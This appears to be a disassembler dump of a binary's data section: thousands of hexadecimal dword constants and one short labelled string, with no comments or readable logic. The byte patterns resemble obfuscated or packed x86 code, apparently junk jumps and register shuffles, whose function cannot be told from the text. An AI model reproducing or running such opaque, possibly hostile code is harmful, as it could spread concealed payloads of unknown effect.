		dd 0B70FD0C5h, 6E9FAh, 948F0000h, 961A2E02h, 10E9h, 0D47B9100h
		dd 0EC3A5081h, 0D4807909h, 0EFFDCD74h, 0C5B9665Dh, 8B66F9A0h
		dd 30EE80F9h, 13E950h, 0FE240000h, 0D3C39AD4h, 0FDEE29ACh
		dd 36AC2A32h, 259CAD61h, 0BB665EF4h, 0D18B0985h, 14E9h
		dd 6D558200h, 0E40734AFh, 0B6FFC6BBh, 7AD03891h, 2AA18243h
		dd 13E839h, 0EB7B0000h,	6A45CEF2h, 0C0B323DCh, 2AFCBA9h
		dd 8EDED207h, 0F38A5741h, 0C7815E5Fh, 3A41C6A7h, 88B0Fh
		dd 81500000h, 972421EFh, 0FE95F1Eh, 0E6000000h,	3380AE1Bh
		dd 12AD67D9h, 0B6A0A626h, 14E99C0Ch, 57000000h,	0A8D81B68h
		dd 3B5D1F0Dh, 0B2DCCB88h, 9B441D41h, 66B5526Ah,	0FAC52BBh
		dd 8166D1BFh, 8171FEEEh, 52C6F4EFh, 13E952h, 1DB30000h
		dd 4B94C68Eh, 0EB779D1Bh, 6119CE9Eh, 8ED385EEh,	0C18B661Ch
		dd 6E9h, 57DB0700h, 6666CF34h, 0B51401B9h, 6607B1C9h, 0FC452BFh
		dd 1887h, 13E900h, 0A3940000h, 0AC0BDE99h, 0AC536221h
		dd 5C0D3FA9h, 0DF7E0FE2h, 58C0F0Ah, 66000000h, 0B6C2F281h
		dd 0FE3ED281h, 0D2BB0923h, 6643A066h, 0B966D08Bh, 10E97B32h
		dd 0D4000000h, 0CBDBABF1h, 8C7191A1h, 89F18273h, 660A0586h
		dd 0EA7CA81h, 60C1BF0Fh, 0B2F38166h, 6FC1808Ch,	0F7BF0F61h
		dd 0D18B66FCh, 37E6D281h, 8B661BADh, 6E8F9h, 0FAA40000h
		dd 545A0F9Eh, 59C3BF0Fh, 0DE8h,	0FF0B7F00h, 14721E65h
		dd 0E1FEFB75h, 805107B7h, 5A58DFF0h, 0CE9h, 0B1379200h
		dd 293870C3h, 0B920B102h, 0F58AF9F1h, 11E9h, 9A077A00h
		dd 0A3AA0AF4h, 4CCFFAD7h, 3E56BFCEh, 77B01BE8h,	8BB15360h
		dd 0BB66605Bh, 0CA8028CEh, 666161B2h, 4F80CB81h, 58E0Fh
		dd 76B90000h, 665C652Bh, 66DE16BBh, 496AE881h, 88DF8157h
		dd 587FB522h, 818BBA66h, 5E957h, 0A150000h, 5BA90BE1h
		dd 91F699B8h, 0CE86062h, 5E000000h, 0AC94416Bh,	0EC1ABC78h
		dd 0F9FA90E9h, 0B966615Fh, 0EE8196Ah, 0EC000000h, 939B3B46h
		dd 1250E9ACh, 0B60C2ABh, 0AE9593Eh, 0E9000000h,	614CD86Fh
		dd 0D357D0EBh, 35BA6600h, 8AA4B671h, 8F0FFAh, 60000000h
		dd 80F0B70Fh, 666121D0h, 0B51B72B9h, 0FE907h, 70B00000h
		dd 80F9C0Fh, 0E54DAF5Ch, 79E34D15h, 0FF78BCAh, 487h, 0D38B5600h
		dd 0E959B15Fh, 11h, 1CBA5A5Dh, 2B052199h, 73EABD59h, 0CC9D0E80h
		dd 5870FC6h, 0B8000000h, 740B6B18h, 7C3EC281h, 66503414h
		dd 2C8FCA81h, 8FB2BE5Ah, 0E9601629h, 0Ah, 0F178A726h, 0E5720987h
		dd 0BB61DDC4h, 48F3BFC3h, 8D0F51F9h, 6,	850Fh, 0F5F0000h
		dd 98Fh, 38A0F00h, 80000000h, 5E973D8h,	0C3000000h, 0BC8DBC41h
		dd 5E9h, 8D7A9200h, 1AB5331Ah, 1CA8166h, 5EFFB8FBh, 830F35E3h
		dd 4, 5EF88B50h, 0F3F0BE66h, 15880Fh, 10E90000h, 0BC000000h
		dd 0DC2B721Fh, 4E4D8E92h, 0AB618C5Fh, 0F52D72Bh, 383h
		dd 5CEF8000h, 0E8E780FCh, 0CE9h, 0F220A400h, 0F4F69365h
		dd 7F905406h, 0CF8BF843h, 11E8FCF9h, 89000000h,	4C3B910Bh
		dd 4EF91C1Ah, 0A08D7853h, 8F7C2357h, 8B0F59F5h,	3, 0FF9B70Fh
		dd 485h, 0D3BA6600h, 11E956F5h,	83000000h, 0D0919E04h
		dd 0F152AE9Dh, 4E1E89F9h, 61B60FAAh, 0D9BB665Bh, 0F08B5103h
		dd 0BF0FFC5Bh, 10E9DAh,	0D050000h, 1788873Ah, 0C789C0D3h
		dd 0DDCE1A36h, 8C0F3465h, 4, 0C821B866h, 392BBA66h, 13830Fh
		dd 0EE90000h, 0D6000000h, 0E36FFA77h, 0F4C9B7E3h, 0E469EA73h
		dd 0AE9F5h, 47050000h, 15AE1674h, 13B621F8h, 3870Fh, 8B660000h
		dd 11E9DEh, 2730000h, 96F13923h, 0E6F70BF7h, 0AB3A598Eh
		dd 0FB4026Ah, 13E9CAB7h, 0A2000000h, 80D3D7B2h,	487ADFAEh
		dd 0D6DB2878h, 0AFAF2E11h, 0B70FB6E6h, 0CA8166C0h, 880FD956h
		dd 0Ah,	810F60h
		dd 60000000h, 0C58A6161h, 2AD2BB66h, 0BB66E38Ah, 0BE9926Ah
		dd 0D2000000h, 0DDCB47h, 2BC1F979h, 0CE80DD05h,	0F9B70F43h
		dd 0FAE38060h, 3890Fh, 0C6800000h, 820F61D6h, 4, 5ADDB456h
		dd 0E9F98A60h, 6, 401E266h, 60614CF4h, 0CE8h, 2627DB00h
		dd 36CDCFE1h, 0A8FF9800h, 800F6Ah, 58000000h, 6AB8F961h
		dd 8156D071h, 0FE40D1E7h, 33D78174h, 0F5CD02Ah,	380h, 0C9BF0F00h
		dd 5879BE66h, 40BFB966h, 0D7F5BF60h, 0CA8122F5h, 196A84E6h
		dd 12E861h, 7F260000h, 81B48019h, 41E02F30h, 0AA746B83h
		dd 4CC72FEDh, 0CF8B6656h, 81665858h, 0E9B731C1h, 13h, 0DFAAFE82h
		dd 3A510386h, 4F6526F3h, 973238D3h, 8106DF2Ah, 0D2DFCFF2h
		dd 3890F2Ch, 0F000000h,	0C281D3B7h, 46E21C0Ch, 0E95BF953h
		dd 0Dh,	9FF3F4Bh, 7D4BE69Ah, 0B8E0707Bh, 0CE96Bh, 11240000h
		dd 44B6684Ch, 3E8CA6BAh, 0CE89546h, 4A000000h, 843C03C3h
		dd 758AC8F3h, 0F983311h, 82h, 13E95800h, 0FF000000h, 0F176641Eh
		dd 0AB425A55h, 148DA412h, 36FBEDBEh, 0EE84AB6h,	0EB000000h
		dd 77414CB8h, 482E607Fh, 8DA67D2Ch, 6E98Eh, 75DA0000h
		dd 52C57CE1h, 0B7D88A58h, 14E9604Bh, 0C0000000h, 13669025h
		dd 0CEC8C7BBh, 0D5A3B0E3h, 0D98E6655h, 81AAB074h, 2F6EA1EEh
		dd 0B9666134h, 13E8A40Fh, 48000000h, 98AD656Ch,	1E71B3E2h
		dd 0CF97A26h, 0A315FA9h, 850F2CE5h, 0Dh, 8E9h, 1739A100h
		dd 132A834Ah, 0BE665E3Fh, 8F0FFBC6h, 3,	0E9CBDF80h, 6
		dd 0D1275C80h, 10E9ABA0h, 1B000000h, 9EEB779Dh,	0EE6119CEh
		dd 1C8ED385h, 8BC8F72Dh, 606053C1h, 54BB6661h, 0E95B6148h
		dd 5, 0E6ED2BA9h, 8E9C4h, 0A4CE0000h, 0ED925579h, 800F09A7h
		dd 3, 0FF2BF0Fh, 884h, 28E0F00h, 52000000h, 3DD18058h
		dd 10E85657h, 4C000000h, 4EBF76FAh, 1BA74F79h, 2550D279h
		dd 5BC8BFA0h, 8E0F5A58h, 2, 800F69B2h, 18h, 128C0Fh, 0DE90000h
		dd 0DA000000h, 48C30946h, 4FB320ABh, 0BC7E9A31h, 0A6D38166h
		dd 0FE2B726h, 178Dh, 0FE85100h,	0EF000000h, 6E9A01E0h
		dd 4A6820FAh, 3B0DEC7Eh, 595948D8h, 0EE9h, 43272E00h, 9DC93E99h
		dd 8E2ECE2Dh, 0E9E47611h, 13h, 63391589h, 0A287C417h, 0E44BFF71h
		dd 0D35CECBFh, 668EB9B7h, 0DAE4E281h, 81D38B66h, 0D8EE32F7h
		dd 0BAC38B3Ch, 7BDE3337h, 0DCB86651h, 0BB665F19h, 8B660FB5h
		dd 5E960D7h, 9D000000h,	0EA12E9EEh, 0CE9h, 6705B500h, 0F3A68B49h
		dd 8DB98452h, 81666157h, 669B53E8h, 3341D981h, 0E88166FCh
		dd 0F95780F8h, 0BE858h,	0D26D0000h, 0CE12C53Ch,	0CA2BC0A5h
		dd 0DE85F6Dh, 95000000h, 45D8AE03h, 24A34B4h, 9ADF8ED4h
		dd 5A7AC880h, 0E28D47BBh, 5E828h, 8E5F0000h, 60D5F230h
		dd 8BCE8B66h, 665B61CBh, 0FF5CB8Bh, 8E9F7B7h, 0B7000000h
		dd 9D586F69h, 66A92DA6h, 0F8269B8h, 0B8Ah, 6E900h, 77390000h
		dd 73732B67h, 9E9h, 0C397D100h,	5A382B7Eh, 81667517h, 0F2CEAD7h
		dd 1589h, 10E900h, 41060000h, 0D2410169h, 0BE322908h, 71CDA0E3h
		dd 870FE310h, 0
		dd 0FF7BF0Fh, 128Bh, 0DE900h, 43E20000h, 2FB799EAh, 2EDCF01h
		dd 66E3CBCDh, 8B4A00BAh, 0E38166CFh, 0BF0F4156h, 0F68166F2h
		dd 0B460313Bh, 0C0C680B2h, 0B70F6061h, 12E9D1h,	4A5A0000h
		dd 651DA848h, 5AD9FC74h, 20587C7Eh, 0E8C891E6h,	8A0F61h
		dd 0E8000000h, 7, 1236CF04h, 80C7D401h,	0E85A66DCh, 13h
		dd 0F6D50A81h, 0DC4BF756h, 0D0C71332h, 1E4C7FB3h, 59EFBCDBh
		dd 58C0Fh, 0DEBF0000h, 665AB7D2h, 28F9DB81h, 76EA8166h
		dd 8E88Ch, 0A5430000h, 162391E3h, 0C1B60053h, 0D3816659h
		dd 66FC9549h, 801DB4B9h, 10E913D3h, 8A000000h, 97FE3946h
		dd 4E124506h, 0D6779F6h, 669E3E14h, 0E97EBFBEh,	0Bh, 0E8FC95B3h
		dd 37DA6B19h, 0F89EF69h, 58Fh, 4DCCB900h, 66F90F07h, 5733CEB8h
		dd 0C8B0Fh, 6E80000h, 22000000h, 0F6717BDCh, 0F5B5BCAh
		dd 8BF5D7BFh, 2860FC1h,	8B000000h, 0CBBF0FF8h, 0AE8h, 9A8C4200h
		dd 6F0FD98Bh, 0F482BEEh, 684h, 28C18100h, 5F400802h, 3880Fh
		dd 0BF0F0000h, 0CE9C3h,	47010000h, 0EE663530h, 0BDA29BFCh
		dd 0AE97DA5h, 60000000h, 0FE6E1634h, 64730EFEh,	38B0F75h
		dd 0F000000h, 0D98ACEB7h, 38A0Fh, 0B70F0000h, 0D1BF0FFAh
		dd 5E9h, 460F500h, 13E9DEA5h, 0DF000000h, 0D9CA2FBAh, 3980F4A8h
		dd 0DF7D860h, 0A1ABC724h, 0C28BEEF1h, 178E0Fh, 12E90000h
		dd 38000000h, 0BA835ABCh, 365EE80Bh, 3307D993h,	412BADB6h
		dd 0CE816654h, 2ABEF8F5h, 0BA29B819h, 177C7210h, 1850Fh
		dd 0E9F90000h, 0Bh, 8995AE96h, 0EE5DB842h, 0E911F9A9h
		dd 7, 9C2CF95Ah, 0FCE4EBAh, 18Eh, 8BF5F800h, 6660F5D3h
		dd 0DDE2D381h, 0D38B6660h, 61615852h, 28D0Fh, 56B00000h
		dd 7E9h, 8B4FAD00h, 1AEDD77Ch, 66F18B66h, 9E8F78Bh, 0BE000000h
		dd 475B968Dh, 9E56DFFAh, 0EE9h,	0D2B27F00h, 5F84289Bh
		dd 0D27F99A2h, 5BB5B3E6h, 88F0Fh, 8F0F0000h, 2,	8E95956h
		dd 4E000000h, 4C64DCC5h, 0F6D344Dh, 1983h, 14E900h, 2B2B0000h
		dd 792C8457h, 0A8F978Dh, 193DA073h, 0FCB51C76h,	8B66F288h
		dd 0F08A60C3h, 5488BF66h, 13E861h, 5A0F0000h, 6565B454h
		dd 2F33AECCh, 0EC99B16Dh, 0A0744976h, 9E834h, 8ADA0000h
		dd 2A7E60EFh, 0FCE5F80h, 8Ch, 66595800h, 5010ABB9h, 0FE9h
		dd 0CAEB3300h, 690852Dh, 73D3B8F8h, 6F62651Bh, 5E8605Bh
		dd 0C7000000h, 0B2812647h, 0F5E18B0h, 68Ah, 830F00h, 61000000h
		dd 1880Fh, 0FF50000h, 178Bh, 12E900h, 19A70000h, 75D27C18h
		dd 0E6283D69h, 49E60869h, 999E7C04h, 14E8D58Ah,	76000000h
		dd 444F80BAh, 0B50B4DCDh, 1612BD91h, 866674Ch, 0E9FE3CFDh
		dd 13h,	0D21C0508h, 7166CED5h, 0F5D3BAFBh, 0E9C431B1h
		dd 5E5D9E98h, 12E9h, 17714A00h,	108C4052h, 44FC11B4h, 801CF398h
		dd 81E73951h, 67810AD6h, 2ED0814Fh, 6001AC06h, 10E8F78Bh
		dd 0BA000000h, 0C63A4243h, 0A8FCD598h, 579A50A1h, 661B635Dh
		dd 9293DF81h, 8B0F615Ah, 9, 38F0Fh, 0C7800000h,	0E8F56062h
		dd 0Bh,	1CAC387Dh, 0AE309A0Bh, 0BF7FB0CFh, 41F91C8Eh, 6E96158h
		dd 3E000000h, 80272561h, 14E9B2h, 216D0000h, 497EF191h
		dd 3C31990Ch, 0B08035D2h, 2816D6C6h, 8B66C2F9h,	0A5BB66C2h
		dd 5860FEFh, 0BB000000h, 81A2414h, 880Fh, 0F3800000h, 68F0F05h
		dd 0F000000h, 8Bh, 0F2BB6600h, 0ADEDBBF2h, 0B70F2D5Eh
		dd 81D18BC9h, 6D9D2DF3h, 805F536Dh, 0CC8AE7CBh,	6E8h, 0F95BA000h
		dd 60CFF8C3h, 0B7D98166h, 0F3B70F76h, 7E95F61h,	69000000h
		dd 9C934B8Ch, 81662653h, 8B00FCE1h, 0DAC181F2h,	663D46C9h
		dd 0F400EBAh, 8B66D8BFh, 80E2B5F9h, 0E0816AC9h,	4221ABCCh
		dd 0E3D08166h, 0D2816665h, 0E0806AB1h, 38E0FAEh, 80000000h
		dd 0BB6692F1h, 0BE8CC2Ah, 0A5000000h, 33227E28h, 0FEF11163h
		dd 0D18B441Fh, 22E08158h, 600695B4h, 815B5360h,	0F94BCEE3h
		dd 81606167h, 545F81E1h, 6161F569h, 0AE9h, 679D0B00h, 0CF8CAD11h
		dd 0E9BC494Eh, 7, 1E6D4AA1h, 66FDE2CAh,	0F9CAF381h, 0D76BEE81h
		dd 8B6670CEh, 0D68152CEh, 2A8A938Eh, 0DE85Fh, 0D6DA0000h
		dd 53200BF2h, 0A9B049EAh, 8A0C6B1Bh, 8F0F59DDh,	3, 0E9FA8B66h
		dd 9, 45390FD3h, 82862C5Bh, 6660F986h, 0CD80D08Bh, 8B66614Dh
		dd 0DE8FCC3h, 78000000h, 2164DFD8h, 15C0EFEAh, 66CD7F3Ah
		dd 815F8BB2h, 0BA0D92E0h, 820F56h, 0F000000h, 1387h, 0EE900h
		dd 0EDC50000h, 0B7D6D9D0h, 4BBF9962h, 0A5CF524h, 8166AAB6h
		dd 66EC4AD0h, 0C181D98Bh, 5C060261h, 7E9h, 147D7A00h, 5B882BAEh
		dd 901CC181h, 0EE90476h, 0C1000000h, 2ADD052Bh,	0D6B4AFEDh
		dd 8B855624h, 0E9F88AB2h, 0Fh, 8E7C9491h, 4D0D9697h, 0BDE963CBh
		dd 66B1AE7Ah, 66F7ACB8h, 6504E181h, 0AE9DA8Bh, 0E9000000h
		dd 55079BBFh, 3ED3690h,	24E2BB86h, 0BF0F182Eh, 0D98B66DFh
		dd 6650E480h, 9858E981h, 0E8DA8B66h, 0Dh, 8E266AA7h, 92AA9399h
		dd 0B8E1995Ch, 0F08166F2h, 0E95F5DAEh, 6, 7C42E568h, 0B7B93EBCh
		dd 574AD088h, 0EE0F3ABEh, 8D0F5E2Bh, 28h, 0BE8h, 6A92C000h
		dd 9199ACE3h, 0F3425219h, 12E9h, 6080900h, 3C978420h, 0F2D0E058h
		dd 47A8F2B5h, 58C26B21h, 6086DA80h, 0B3C0DE81h,	816659BFh
		dd 610F2CC3h, 8EB0BA66h, 6660D18Bh, 0F70F2BAh, 487h, 47B86600h
		dd 890F610Eh, 0
		dd 0F810Fh, 0AE90000h, 68000000h, 0E82D3F89h, 9F7580E0h
		dd 0EE81F882h, 34FF4B1Fh, 0FC8B70Fh, 58Ch, 0EF816600h
		dd 0BF0FA787h, 0F1BF0FDBh, 2772F181h, 0D58A4A78h, 8E9F7B0h
		dd 0B5000000h, 4EA17E19h, 0FBFBC0Bh, 840FF2B7h,	11h, 0AE953h
		dd 30090000h, 0A6F66527h, 75608CB0h, 8B5FB159h,	56F8F8D0h
		dd 6064B560h, 815A6161h, 193D7FE7h, 51DF8B6Eh, 0EE9h, 0E5A53500h
		dd 16544C3Dh, 318BB24Eh, 5BA4349Eh, 8B6660FCh, 0D88166C6h
		dd 8B612EBAh, 12E8F2h, 172F0000h, 0F091BEF0h, 699AFA68h
		dd 11B98074h, 0C84370Fh, 5BCB8B66h, 96A38CB9h, 0FE91Fh
		dd 5B80000h, 446EBC4Ch,	0A14F9B2h, 4262D6CAh, 0CA8B66E3h
		dd 0CA816660h, 8F0FEC1Bh, 1, 816661FCh,	0F1FFDC1h, 0BE9FEBFh
		dd 4B000000h, 43BB4F5Dh, 9879B14Dh, 22B5E50Eh, 5EB2BA66h
		dd 3DE08166h, 223CBFAAh, 606060E4h, 12E9h, 8D864100h, 803399EEh
		dd 0EB3EABCEh, 3F2EE1B7h, 0E9B27E38h, 14h, 0A5E26236h
		dd 6571A82Ch, 80BCDE50h, 1FC1E531h, 832AD321h, 8B666161h
		dd 31C781CAh, 6652B63Bh, 7E0FF781h, 66DDC180h, 264DC281h
		dd 6E9CDB1h, 7A000000h,	0B57AEAEAh, 0FF560EAh, 87h, 12E86100h
		dd 56000000h, 461323FCh, 616078D0h, 0CD9B637h, 4753AB89h
		dd 665358A2h, 0F5ACE8Bh, 0BF0FF7BFh, 12E8FEh, 99C50000h
		dd 55631758h, 0F3911344h, 0AC7D8247h, 8BA51BB3h, 66FC5AF5h
		dd 1663C281h, 5ED88166h, 9B866AFh, 9BBA6634h, 12E991h
		dd 69EE0000h, 7724FD40h, 3DD53B68h, 3A28817Ch, 0A89E7D14h
		dd 12E9h, 3C9D7E00h, 3E6C0B1Eh,	3E7C8A6h, 21A6D9C0h, 0F31F214h
		dd 12E8F6BFh, 0D7000000h, 7A338BE4h, 13990E44h,	61F6A694h
		dd 0D337F4EDh, 92BA6660h, 0BB66595Ch, 0BAF5EF99h, 11C4CA76h
		dd 0F98B6050h, 840Fh, 5E610000h, 0EF4267B9h, 0F1816665h
		dd 0BE66537Ah, 81660623h, 667079F0h, 74BDCA81h,	2870FF9h
		dd 0B5000000h, 0CFBF0F4Ah, 0E9F7B70Fh, 0Fh, 841BE467h
		dd 578A9220h, 0F18ECECDh, 0F8C0AD5Dh, 5D8FD881h, 9AB53EDBh
		dd 13E8h, 0C6966E00h, 6FC62B6Ch, 25B1C1BFh, 3B9050F7h
		dd 81ACEB7Dh, 0E95059F5h, 13h, 0AB268152h, 0E10FEB16h
		dd 5E8F856h, 0F38263Ch,	5F4565D4h, 800FD98Bh, 0
aFbqv3s		db 'fV3',0Ah,0
		dd 6CD70000h, 0DE6B3D6Ah, 910F765h, 4AE18160h, 0B5094BB7h
		dd 0D08B61D3h, 14E8h, 436AF200h, 92A26EB2h, 0C9784F04h
		dd 0B5A2A307h, 69E087A2h, 0AE860B2h, 94000000h,	0B3095600h
		dd 14D8A7C6h, 5E615B5Bh, 0CE950h, 5060000h, 80FF808Ah
		dd 444681Ah, 8058B389h,	8F0F12DFh, 3, 60D6B70Fh, 6820Fh
		dd 8E0F0000h, 0
		dd 0BEB3B061h, 1A1B8ADh, 0E9BFE680h, 13h, 2BFE659Fh, 40DE0CB8h
		dd 530F0D18h, 0C145FF2Bh, 8B111BFFh, 0E9C68AF1h, 8, 0A552FAF0h
		dd 0C1A5Ch, 88BB8F8h, 11E973ECh, 0C9000000h, 86476763h
		dd 0C3B808BBh, 368A6B29h, 0D3E0D1E7h, 0BFC2B70Fh, 573BEABAh
		dd 0E198D9B8h, 4BD68070h, 0DCE0C881h, 880F21D7h, 27h, 13E8h
		dd 0ABA4B000h, 98D741ACh, 0AACCA14Ch, 0BF8502F5h, 6642F787h
		dd 9E9h, 0E924FF00h, 0E0EAF838h, 0E95E1DB2h, 0Dh, 6A242AFAh
		dd 67D72605h, 0B2C23DCBh, 0C28B6637h, 7B0A23B9h, 0C8BF0F0Ch
		dd 8B8DE8Bh, 0F1CEA8Dh,	183h, 8B66F800h, 0FF08BF0h, 58Fh
		dd 0DE816600h, 81669437h, 66830CCBh, 5D44DF81h,	0DE951h
		dd 0F0EA0000h, 53385A2Bh, 0D39EB622h, 597F6E99h, 0F7816653h
		dd 6058B108h, 0E8DFB70Fh, 9, 0F74CE53h,	4D4E0BD0h, 58DD8A8Eh
		dd 69DB8161h, 0E904B57Fh, 13h, 818A0CC4h, 0A859F2Eh, 0F64B81F1h
		dd 6129093Ch, 60A0E49Eh, 0C36BBF66h, 58F0Fh, 81660000h
		dd 61B819C1h, 0C18B66F8h, 3069B966h, 86E88166h,	0FE936h
		dd 0CBF00000h, 11DE3FE4h, 0F357F0E6h, 6A0612CDh, 28E9819Fh
		dd 0E93A77F7h, 13h, 4E12DAEh, 0FDA398D4h, 0C8BCE695h, 8DD50B2Dh
		dd 567889BBh, 0C6816653h, 59581E90h, 2AFDA4B9h,	0BD88117h
		dd 0BE2C863Eh, 0DF4C031h, 0FDDE680h, 87h, 0DF8B5300h, 0FC7B259h
		dd 1A85h, 12E800h, 6C380000h, 0CDF67A35h, 6B691B77h, 0DF019F4Ah
		dd 0F6B1A017h, 0F5B6160h, 889h,	0E3816000h, 61C469B7h
		dd 85B86661h, 0C880F9Ch, 0E9000000h, 7,	6BDCB239h, 8AC5DF3Fh
		dd 0AFF181D5h, 6607C736h, 520C56BAh, 68A0Fh, 840F0000h
		dd 0
		dd 99C28058h, 0C88BCB8Bh, 0DF8B66F9h, 4820Fh, 56500000h
		dd 7E9585Bh, 0B0000000h, 0B262A688h, 3BBEAA97h,	802C29F8h
		dd 0CE94DD3h, 17000000h, 0B63133F8h, 0EA1618E3h, 0FA83F9Eh
		dd 583h, 6671B800h, 8AFC0279h, 0C78B66F9h, 14E8h, 80F9C00h
		dd 0E54DAF5Ch, 79E34D15h, 24CE3CAh, 41FBEB6h, 830F7Ah
		dd 58000000h, 8800Fh, 8E0F0000h, 2, 0B0605E56h,	0C2B70FADh
		dd 28B0F61h, 8B000000h,	0EEBB66FEh, 9E8BAh, 0E76B0000h
		dd 258030CCh, 0E8771E50h, 0Dh, 5339253Bh, 45DCB42Dh, 0C1BE2080h
		dd 0C7816682h, 595BE42Ch, 0C98157FCh, 1F4439C6h, 2820F5Fh
		dd 8A000000h, 0BFEA81DCh, 660FA0D7h, 8166FA8Bh,	6625ACE9h
		dd 0F60FB8Bh, 8166D7B7h, 613BB7D7h, 0D185BF66h,	0B966A6B4h
		dd 10E8CC79h, 6E000000h, 0B2CFC069h, 0CF7F2C02h, 0E65F68FBh
		dd 66F8CFE6h, 0BE5FF78Bh, 40B794B7h, 5E8D68Bh, 0ED000000h
		dd 0F96CDCCDh, 0B85F5E51h, 54FD8104h, 28F0Fh, 14B70000h
		dd 61605752h, 0DABE585Ah, 0E915AB73h, 5, 99B9B82Eh, 1DF38064h
		dd 8166F3B0h, 0E944BBDBh, 0Bh, 1F944ADEh, 1D791C9Ah, 809B46CCh
		dd 8B603BF3h, 3870FF0h,	0F000000h, 8A61C7B7h, 0B9ED80D9h
		dd 0C4E6BA66h, 14E8h, 5A1C0D00h, 90F8AE63h, 660FDA53h
		dd 0BE682420h, 8E3E84D9h, 66605EE1h, 3EC7C981h,	12810Fh
		dd 0DE90000h, 0C3000000h, 6220369h, 0D01088FAh,	6729C7C2h
		dd 8B66F961h, 9E8D1h, 7B320000h, 0D5F15FFh, 59B1717Ch
		dd 413ABE66h, 3547BA66h, 68B0Fh, 0EB810000h, 43BC1AC3h
		dd 56F9B70Fh, 11E85Fh, 5C2F0000h, 903DE104h, 0EB6C86EEh
		dd 0FBC7F4BDh, 0E8AC6320h, 0Eh,	0A0E49E61h, 0E25E7C44h
		dd 0D9299189h, 8B6690CDh, 0B95959FEh, 50BEBC6Fh, 4B01D381h
		dd 8B662042h, 0B751B5D8h, 0D68B66E5h, 0FF6BF0Fh, 1683h
		dd 11E900h, 834B0000h, 0FF2A3735h, 6C12430Ah, 888A1DD7h
		dd 0E9BC3A00h, 12h, 0CE5304E6h,	0BD00F74h, 0B68E4D4Eh
		dd 60E68112h, 8E0FD2CFh, 17h, 0FE851h, 0C5520000h, 764AD0A8h
		dd 5D145A4Fh, 3C6A2592h, 51595EBDh, 58D18166h, 28B85AD4h
		dd 66007DCBh, 60FCD78Bh, 0FE9h,	1CC58E00h, 9E25CE92h, 0D9D7D840h
		dd 75968FF3h, 61F2BF0Fh, 0B800Fh, 6E90000h, 54000000h
		dd 6F5CC845h, 0BA66F5F5h, 0B70FA89Ch, 16820FD7h, 0E8000000h
		dd 0Ah,	43ED76B8h, 0ED13409Fh, 8F0F353Eh, 0
		dd 90F08058h, 850FF88Ah, 1, 0DFCDBFF9h,	8166403Dh, 66D570E2h
		dd 5E9C68Bh, 59000000h,	57C9A8B4h, 0FCBACA80h, 14E9h, 5B09500h
		dd 5E8EA534h, 0EB3F57DCh, 0D936F466h, 9F355B8Ch, 0EBD08142h
		dd 8146633Fh, 0CC8596D0h, 0F98B6610h, 9329C281h, 0CEB83EB6h
		dd 0F617C35h, 10E8D7B7h, 0EF000000h, 5E8023BBh,	4709E2DEh
		dd 0A6D23F48h, 6623C2D4h, 910BEF81h, 8E959h, 41390000h
		dd 54C4165Ah, 0CF8A5F8Eh, 5CC58060h, 830F56h, 59000000h
		dd 56525261h, 0F5A5F58h, 1486h,	0CE800h, 12220000h, 55157D55h
		dd 2C4B2726h, 0DA8B3616h, 12E8F959h, 0D3000000h, 976D0DB6h
		dd 56F4466Fh, 37F50195h, 0CC73566Ah, 5870F7Ch, 0BA000000h
		dd 5B2B5FA3h, 8E95Fh, 0A5430000h, 162391E3h, 0E9F50053h
		dd 11h,	1A20FC8Dh, 52C3088h, 6B584D48h,	152925ABh, 408BB59h
		dd 0D18B4556h, 5E9h, 2FFBA400h,	8B0FE3C5h, 6, 8F0Fh, 8E90000h
		dd 13000000h, 14BD4BA6h, 0E9340C6Eh, 7,	1F1A610Dh, 0E9937A80h
		dd 10h,	1D8558C7h, 83AE9C60h, 0D29258AEh, 1AEFE4BBh, 0E800F60h
		dd 0E9000000h, 9, 635E5F90h, 80C02D2h, 0EE953h,	0C69A0000h
		dd 3A2AF8F8h, 3A66391Eh, 0FC5D66A2h, 13E961h, 0D0BC0000h
		dd 0EFD13CDEh, 0FFF5D981h, 57D6B92Fh, 3B1CFC89h, 3800F29h
		dd 52000000h, 81665EF5h, 8A6741E2h, 0DF8160E3h,	44C4355Ch
		dd 0C6BF0F53h, 0FE8615Eh, 0F1000000h, 0B6785661h, 0A7E4054h
		dd 20B5389Ch, 9E897DDh,	0C7000000h, 0DDD265Bh, 57FFAD02h
		dd 5FCEBF0Fh, 0F98B6658h, 0D9B70F60h, 0F9585160h, 0D98B6161h
		dd 11E9h, 809EE500h, 0C3574043h, 0FD8E82BEh, 888F8592h
		dd 0E980FEEFh, 8BF98A42h, 2447B9CFh, 800F2443h,	4, 4CEDBE66h
		dd 860FF18Bh, 8, 28F0Fh, 61600000h, 7E8h, 0E4A66200h, 0B5068728h
		dd 0B6C08166h, 9E85B4Ah, 0CE000000h, 58E050A7h,	70FD7444h
		dd 4EB8166h, 0AE9593Eh,	82000000h, 7DDCCC53h, 0C94D4B96h
		dd 0BBEEB882h, 810F568Bh, 0
		dd 1840Fh, 0E9F50000h, 11h, 0A95BF03Ah,	0DB51B2CCh, 0CC40E09h
		dd 9F2E818Ah, 0F38B6685h, 0A880Fh, 8B600000h, 69F781F3h
		dd 616006E1h, 0E53CB966h, 5810Fh, 15BA0000h, 8051EDA5h
		dd 0F6BB00D7h, 0F27B71Eh, 180h,	0B7F8F900h, 0B8C081D7h
		dd 6638B1D2h, 205FD181h, 0E9CBB70Fh, 9,	3B6D29EDh, 894AA578h
		dd 0AE95249h, 0D5000000h, 41F1CA37h, 9F280C22h,	66565F1Fh
		dd 0F749E381h, 0D8C88158h, 0F5BFD26h, 483h, 0B2B96600h
		dd 0BE7812Fh, 662964D6h, 0BE8D68Bh, 97000000h, 48DB8A0Eh
		dd 0F1FCCCF3h, 7E9FDE3h, 81000000h, 897B9476h, 0FC5B1838h
		dd 73EA8166h, 0D98B664Ah, 8B66DE8Bh, 0EE8D9h, 0C8380000h
		dd 76B55ED9h, 0E38AA6A0h, 396A58Ch, 6E9h, 5C9D5E00h, 583EDF12h
		dd 0AED78151h, 596FA2C8h, 0FAE2BB66h, 8BC0B70Fh, 0C830FCFh
		dd 0F000000h, 686h, 840F00h, 0F000000h,	8150C1B7h, 6CDFB5E1h
		dd 0F605F64h, 584h, 6085B800h, 0C38B387Dh, 14E8FC61h, 0CA000000h
		dd 2EB20379h, 8496AC0Ah, 0D5A6953Dh, 0CF6A967Ah, 0F5ED03Ch
		dd 505BD7BFh, 665A04B1h, 66BBDBBFh, 813FEA81h, 0EE9h, 487DC600h
		dd 734BACD5h, 0B0F9D613h, 0E9F6C979h, 0Dh, 0D23AF621h
		dd 0D666ADD3h, 2B81D1F6h, 74BB6645h, 8E0FF91Ah,	2, 0EC80D88Bh
